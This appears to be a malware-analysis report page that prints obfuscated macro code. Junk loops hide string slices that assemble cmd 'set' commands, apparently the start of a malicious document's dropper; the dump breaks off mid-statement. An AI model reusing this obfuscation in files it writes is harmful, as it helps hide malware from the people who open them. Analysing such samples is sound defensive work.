doDFJw = 22542 - uAEtC For Each zzDEd In qarlXW rNcaop = zBjZT Next Next qZOJjDYPq = KjQBK("AWL%lbTK&&set %Cd,Q", 5, 13) For Each oHGvdW In GHoHz jBCzRi = 75745 - ULRZP For Each zMwTi In nrjUvI VVjZV = KGDuDO Next Next For Each AYJiC In liIFrw qzoilA = 75124 - IzMnD For Each utGIb In IOwZaq VoAWWR = RbfAR Next Next DXiwwcBbjdZ = KjQBK("qet %NNNRFWVA%=ebacwJr&NaMwG5", 2, 18) For Each bqrZzv In YrpBwQ VcAPD = 91185 - RWHcp For Each srTNG In BQSWWb qUiwwa = KpoaQ Next Next For Each EURVA In AFissQ wVkCE = 66529 - Liusi For Each csRhK In jPrHIw szVMjW = KhJBjb Next Next HiBizMiTOHb = KjQBK("Dv@mvAYsDXzOvn%", 5, 6) For Each EHaaZ In qBHnAh jEFNc = 10747 - pDpROW For Each zviQwj In cIQhiG rpiMwM = FcvZi Next Next For Each rrNwu In PbokdX oUFof = 4094 - muzwd For Each ckXRCH In SnWAn KjRYN = OTtvF Next Next jBZri = KjQBK("UXivsodIKnmJ", 4, 6) For Each ailazt In VORiD iWUsB = 96934 - BQrsU For Each kmONj In SaccRr ciSBtC = Bfnua Next Next For Each KnFiP In CSWOnd PjEdMK = 33908 - dWzVlJ For Each WZlTP In uloMJ YLkjCY = pYcIC Next Next ZwMrnVdh = KjQBK("Z@nclnHq%!!%zsMzqwNbW", 5, 15) For Each fjhQGI In lnwwdU UVuQQ = 6011 - tbtqz For Each PTquRj In kcNUiD AkPnDh = BUdLr Next Next For Each qVwwd In FGoKF IwWiqG = 59881 - RQEuC For Each wCnbXU In UsHtm fUtdZ = LAGIq Next Next rhiSDQRbGd = KjQBK("jEw%=FKLH.GjawN", 2, 7) For Each ZiDoZR In uiQCS mlmoD = 29081 - DzAzYm For Each hrwruz In wqFfTp riORaR = bYMCtF Next Next For Each wXtjv In ahWhi OTZzO = 17830 - EFGAb For Each fwKMOz In HowBYi sKMMav = DPIvp Next Next qcIfRiw = KjQBK("OUjSAMBfR&&sLdG", 4, 9) For Each cSNqX In jPcQV jCGZX = 46826 - jKHut For Each ajabhC In YkDpb iGwjQ = rDrsSi Next Next For Each fVVPWq In HRNcon EunCT = 43077 - FPjcwb For Each BnTcIk In IBDkXD YsTVjJ = FEFta Next Next AniAcY = KjQBK("z%hnSUzjY%=s&L,OmHu", 2, 12) For Each aGmmX In TGdtA DLwtkR = 92625 - zhWPH For Each RNvjO In ikUBOR Hkmuw = pdwRL Next Next For Each fCimFv In dMZDP cAoUGS = 48944 - iWCWOV For Each YruuT In cXJTGi nSkWNN = VzuVT Next Next QWAYKMz = KjQBK("YHHset mPAroW", 4, 4) For Each EBjjQ In ZEFUiJ DzdfAA = 77455 - DLmfIB For Each zbzYa In jbqcD FjiwF = RJEsR Next Next For Each CKlXQm In oJAiCv SwYDI = 67157 - dcEikH For Each pnGsOl In aKvPrh HzLtYM = qVjiHk Next Next fWtQFiqu = KjQBK("pAAtp%=ll&&!%vHkCwQTklY8", 3, 16) For Each ijpfi In wWupnK rncoR = 2555 - VitoMu For Each wSZOH In UsiGj zwlCW = OwsDs Next Next For Each VDCvcI In pbBEsr YwOanw = 73568 - sDsTuI For Each lbEBfj In QfoJaz Cawji = dtsdq Next Next fUKnWJjNLwI = KjQBK("pJisUmset vQ", 7, 4) For Each mLwDIO In MqZzqL ohjli = 41530 - MpdvjM For Each ArjaKo In YRcfvp fdaGYU = vKGzUE Next Next For Each rZzZBO In niZcc Afitd = 2124 - ioSPYD For Each NLFLSB In zitjRE XRipl = pHOTql Next Next aYiictjwM = KjQBK("%aSHhSYKN.f", 5, 5) For Each HCGjB In izbcNK kDBlKM = 93547 - LXjamQ For Each GzmUjw In uXJiT FvoUf = BmGcI Next Next For Each tuucbI In iYzkn uifXTz = 11953 - LsRslh For Each MXHlY In npjza ciAjM = VrnzT Next Next QWjraw = KjQBK("pw@Zme&&set %MCm", 6, 9) For Each PwJhCc In paoVBr PbGpvX = 86682 - dsLLF For Each QpjOD In WbHGm PkzoM = oOFtlz Next Next For Each QHEFzP In ZMIEB TnAViR = 58000 - abDKH For Each GMLHqn In TnHhrz MzLbr = NmtUc Next Next JopRGWUlARv = KjQBK("hUFnVA1%=!%CdNMHYGd", 8, 10) For Each AYpfBu In kANABO zAzsn = 74932 - HsdQc For Each ARUTr In LnXdIG BOVzwJ = iGMnA Next Next For Each otVGlP In jFdkn EnnZXS = 63103 - dqDEXu For Each AKsjDK In lkCCfA VUwRt = RIdQFa Next Next zBwsFNP = KjQBK("%z3cwm%!&&set %kksniErAi.9", 5, 19) For Each KCSBN In ciulD cGBCXV = 75233 - YHWEni For Each Usjbb In DniSAo Xhbiv = QZPFGv Next Next For Each jlbXu In UQoiVi RrRUw = 52823 - Iwckn For Each mYsDC In YfnzmR sBcQiz = wmwNwZ Next Next BLEzpXMjiY = KjQBK("a0mCWMW=aFkczUi9", 8, 7) For Each TIhIrk In NvXlbi bitfC = 17175 - NjiwkF For Each AbfHd In FXFpv FfFEfC = XUICh Next Next For Each lWQBr In PbIaAp YBwKR = 99489 - CzqRk For Each hMISZ In EqFbj WNhDMU = akmDLH Next Next orkARKTLuiZ = KjQBK("Vo%uIoucklfLNHwO", 3, 7) For Each wOTnj In RYsDTq wlKTa = 26312 - vmXzl For Each WJjvI In KSEqWR kdwUik = TvpZT Next Next For Each PnuJA In RaYXLi LqCAzc = 52296 - idDUr For Each HCwAiA In rbzoEM aOIIjr = mwvnK Next Next BqmcW = KjQBK("omRdol4HOwh", 3, 2) For Each NjKro In wKXZW ijTOEM = 86394 - khUVu For Each zZUFDN In fkLRG vNjCol = wLiYri Next Next For Each NOuNI In uYQUU VkOBTY = 57657 - RGujRk For Each oYQHCI In dSHSwb wSajB = Bspqw Next Next VUOlZJXKw = KjQBK("9UJHt %GbHqkZJj%fA", 5, 12) For Each YtHTO In XZFAAM rjGwt = 692 - CYVnUw For Each PcwiZ In qjsVw XYCKvS = RJmuw Next Next For Each uoEiYC In WZXzUE pTlrt = 98258 - BwiWb For Each XbiQaD In wzUwq nUlWa = dsiRA Next Next wAHiovFPj = KjQBK("H4EHhIouckJwb8Rc", 6, 7) For Each Rwcss In MwCUu GXQlGs = 98631 - BnLhQa For Each SzGpK In OIHqGF ktDTZq = Cnslp Next Next For Each SzmNB In jziLU iHafDd = 2257 - JzatBs For Each OCjsjU In VDVGMm hNmJDH = wUckLt Next Next JKzTG = KjQBK("TWiAjKfOHFXa%=DCiGZILAUX,", 3, 19) For Each VZsLIG In uwToO lXJzRO = 80970 - jnkwkH For Each iEHUa In AdduDj mPTUo = GZKfT Next Next For Each WAKUj In DOzNO zfMtv = 68241 - nAzcc For Each ajFmAj In iCzfT VOjNR = itHRA Next Next oWhcCfQq = KjQBK("wZ0z&&seUD", 5, 4) For Each ZooiTY In hqJRz wdJavj = 63015 - nNtGmj For Each wkSRF In bvQEia lRMwi = SaUSLl Next Next For Each qKXTm In iBizR DVIBs = 83262 - wYhVCF For Each XncjnO In DFnHat uuQjN = BSZSOW Next Next QYsiYhqPn = KjQBK(".4Sq%%ITfKLPYXGLmwzQp%LwJ", 6, 17) For Each PzIpU In ooqZz DYzQV = 87574 - zXBdR For Each pJvEOK In RHQEz nMEPDV = UKWCC Next Next For Each iFBWF In LZwwj WBNvQX = 75242 - cSjNz For Each VPRGoL In HchXsJ XHTqww = LdkkvM Next Next WPAsIGPR = KjQBK("@9RkdONNRFWVA%!!%iO0", 7, 11) For Each qLVoX In rwHsJ cOZjX = 45796 - tuVzt For Each ArKmh In tzmRR iVpCb = ajdWjl Next Next For Each WBCkhE In WAwUw zcvNzw = 5729 - TvSTQ For Each wNzTq In SKhas FzFzES = OvoMG Next Next MLDnES = KjQBK("CMQqWwJ%=EqHa0zFC6", 3, 10) For Each OAkCF In QRwOIA djJnuU = 40768 - sDATr For Each ABKHBt In bMiHc bYHlww = pkFHur …

Open this report in the interactive analyzer, or submit your own file for analysis.